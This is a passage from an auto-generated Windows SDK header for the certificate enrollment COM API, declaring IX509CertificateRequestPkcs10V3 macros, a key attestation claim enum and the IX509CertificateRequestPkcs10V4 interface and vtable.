IX509CertificateRequestPkcs10V3_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V3_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V3_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V3_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V3_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n\n#define IX509CertificateRequestPkcs10V3_get_AttestPrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AttestPrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKey(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_AttestationEncryptionCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestationEncryptionCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AttestationEncryptionCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestationEncryptionCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ChallengePassword(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ChallengePassword(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ChallengePassword(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ChallengePassword(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0079 */\n/* [local] */ \n\ntypedef \nenum KeyAttestationClaimType\n    {\n        XCN_NCRYPT_CLAIM_NONE\t= 0,\n        XCN_NCRYPT_CLAIM_AUTHORITY_AND_SUBJECT\t= 0x3,\n        XCN_NCRYPT_CLAIM_AUTHORITY_ONLY\t= 0x1,\n        XCN_NCRYPT_CLAIM_SUBJECT_ONLY\t= 0x2,\n        XCN_NCRYPT_CLAIM_UNKNOWN\t= 0x1000\n    } \tKeyAttestationClaimType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0079_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0079_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V4 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V4;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab363-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10V4 : public IX509CertificateRequestPkcs10V3\n    {\n    public:\n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ClaimType( \n            /* [retval][out] */ __RPC__out KeyAttestationClaimType *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ClaimType( \n            /* [in] */ KeyAttestationClaimType Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestPrivateKeyPreferred( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestPrivateKeyPreferred( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V4Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V4 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strCertificate,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [defaultvalue][in] */ X509RequestInheritOptions InheritOptions);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR strEncodedData,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *CheckSignature )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ Pkcs10AllowedSignatureTypes AllowedSignatureTypes);\n        \n        HRESULT ( STDMETHODCALLTYPE *IsSmartCard )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_TemplateObjectId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PrivateKey **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReuseKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_OldCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX500DistinguishedName **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Subject )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IX500DistinguishedName *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClaimType )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out KeyAttestationClaimType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE 